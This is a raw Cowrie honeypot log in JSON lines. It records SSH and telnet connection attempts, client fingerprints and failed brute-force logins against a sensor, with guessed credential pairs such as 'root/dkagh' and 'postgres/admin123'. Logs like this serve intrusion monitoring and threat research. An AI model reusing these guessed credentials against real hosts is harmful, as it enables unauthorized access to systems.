{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:50.551672Z","src_ip":"159.203.92.129","session":"9bf54bb1224c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.22576379776001,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:57.124263Z","src_ip":"144.79.218.12","session":"13adbf779aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97637152671814,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:58.299073Z","src_ip":"144.79.218.12","session":"1471456547d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45450,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e96e1d9d16","protocol":"telnet","message":"New connection: 144.79.218.12:45450 (10.17.0.5:23) [session: f9e96e1d9d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:28:58.499423Z"}
{"eventid":"cowrie.session.closed","duration":35.220762729644775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:08.695145Z","src_ip":"144.79.218.12","session":"5475c3b06ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.96129274368286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:09.497555Z","src_ip":"144.79.218.12","session":"f73874088b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":48550,"dst_ip":"159.203.135.109","dst_port":22,"session":"283532d2b0f6","protocol":"ssh","message":"New connection: 68.183.236.1:48550 (159.203.135.109:22) [session: 283532d2b0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:17.437580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:17.443435Z","src_ip":"68.183.236.1","session":"283532d2b0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:17.696909Z","src_ip":"68.183.236.1","session":"283532d2b0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trojanuser","password":"trojanuser","message":"login attempt [trojanuser/trojanuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:18.745416Z","src_ip":"68.183.236.1","session":"283532d2b0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:20.001683Z","src_ip":"68.183.236.1","session":"283532d2b0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0928897857666,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:24.954764Z","src_ip":"144.79.218.12","session":"84fe72b681e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.473451375961304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:25.043501Z","src_ip":"144.79.218.12","session":"2fee7e453f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32501697540283,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:33.824310Z","src_ip":"144.79.218.12","session":"f9e96e1d9d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e989428ac5","protocol":"ssh","message":"New connection: 159.203.92.129:40912 (159.203.135.109:22) [session: 27e989428ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:34.298644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:34.303047Z","src_ip":"159.203.92.129","session":"27e989428ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:34.307889Z","src_ip":"159.203.92.129","session":"27e989428ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alesky","password":"alesky","message":"login attempt [alesky/alesky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:34.317695Z","src_ip":"159.203.92.129","session":"27e989428ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:35.326672Z","src_ip":"159.203.92.129","session":"27e989428ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"084a89bcaa53","protocol":"telnet","message":"New connection: 144.79.218.12:51992 (10.17.0.5:23) [session: 084a89bcaa53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:36.183121Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53292,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c67f9be9289","protocol":"telnet","message":"New connection: 144.79.218.12:53292 (10.17.0.5:23) [session: 2c67f9be9289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:40.708019Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53298,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b19e389f102","protocol":"telnet","message":"New connection: 144.79.218.12:53298 (10.17.0.5:23) [session: 1b19e389f102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:42.988607Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":39714,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa41a527cfe","protocol":"ssh","message":"New connection: 112.217.199.222:39714 (10.17.0.5:22) [session: aaa41a527cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:43.410559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:43.415084Z","src_ip":"112.217.199.222","session":"aaa41a527cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:43.621636Z","src_ip":"112.217.199.222","session":"aaa41a527cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin123","message":"login attempt [postgres/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:44.469142Z","src_ip":"112.217.199.222","session":"aaa41a527cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":56334,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f0271637fa","protocol":"ssh","message":"New connection: 91.134.240.52:56334 (159.203.135.109:22) [session: 57f0271637fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:44.940683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:44.946257Z","src_ip":"91.134.240.52","session":"57f0271637fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.027395Z","src_ip":"91.134.240.52","session":"57f0271637fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":24088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1cdb918633a","protocol":"ssh","message":"New connection: 193.46.255.86:24088 (10.17.0.5:22) [session: a1cdb918633a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.136238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.140960Z","src_ip":"193.46.255.86","session":"a1cdb918633a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.275604Z","src_ip":"193.46.255.86","session":"a1cdb918633a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123456","message":"login attempt [ubuntu/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.378105Z","src_ip":"91.134.240.52","session":"57f0271637fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.675907Z","src_ip":"112.217.199.222","session":"aaa41a527cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkagh","message":"login attempt [root/dkagh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:45.889631Z","src_ip":"193.46.255.86","session":"a1cdb918633a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:46.460735Z","src_ip":"91.134.240.52","session":"57f0271637fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":53262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8797547117ee","protocol":"ssh","message":"New connection: 103.203.57.2:53262 (10.17.0.5:22) [session: 8797547117ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:46.983833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:46.988317Z","src_ip":"103.203.57.2","session":"8797547117ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:47.000426Z","src_ip":"103.203.57.2","session":"8797547117ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:47.027709Z","src_ip":"193.46.255.86","session":"a1cdb918633a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae5865cd743","protocol":"telnet","message":"New connection: 144.79.218.12:39500 (10.17.0.5:23) [session: 9ae5865cd743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:49.367409Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4d2d6a64f00","protocol":"telnet","message":"New connection: 144.79.218.12:39510 (10.17.0.5:23) [session: d4d2d6a64f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:51.107665Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39512,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc8dfbbd0ae","protocol":"telnet","message":"New connection: 144.79.218.12:39512 (10.17.0.5:23) [session: 0fc8dfbbd0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:55.037764Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:29:56.984884Z","src_ip":"103.203.57.2","session":"8797547117ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.1.229","src_port":43952,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92bb29cd450","protocol":"telnet","message":"New connection: 103.147.1.229:43952 (10.17.0.5:23) [session: c92bb29cd450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:04.686755Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51128,"dst_ip":"10.17.0.5","dst_port":23,"session":"69a267a82180","protocol":"telnet","message":"New connection: 144.79.218.12:51128 (10.17.0.5:23) [session: 69a267a82180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:06.808454Z"}
{"eventid":"cowrie.session.closed","duration":35.617852210998535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:11.800843Z","src_ip":"144.79.218.12","session":"084a89bcaa53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":34458,"dst_ip":"159.203.135.109","dst_port":22,"session":"de238e2b4d30","protocol":"ssh","message":"New connection: 68.183.236.1:34458 (159.203.135.109:22) [session: de238e2b4d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:13.786430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:13.793262Z","src_ip":"68.183.236.1","session":"de238e2b4d30","protocol":"ssh"}
